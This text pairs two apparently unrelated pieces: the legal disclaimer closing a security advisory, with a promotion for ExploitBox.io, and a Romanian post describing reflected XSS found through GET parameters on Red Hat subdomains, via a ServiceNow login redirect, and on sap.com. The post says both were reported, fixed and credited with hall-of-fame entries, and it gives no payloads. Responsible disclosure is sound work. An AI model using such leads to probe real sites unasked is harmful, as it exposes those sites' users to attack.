ExploitBox.io is coming soon. Subscribe at https://ExploitBox.io to stay updated and be there for the launch. XIII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

Pe redhat majoritatea subdomeniilor daca nu erai logat si intrai pe o pagina unde necesita logarea redirect ul se facea prin service-now care avea un parametru prin GET vulnerabil. Nu am mai gasit poza exacta, am facut o poza dupa video ul de poc. La sap.com la.fel era un XSS prin GET, postez poza diseară cand ajung. Ambele raportate, rezolvate si ca recompensa am luat hof pe ambele. La redhat m au pus sa aleg in care vreau la service now sau redhat😂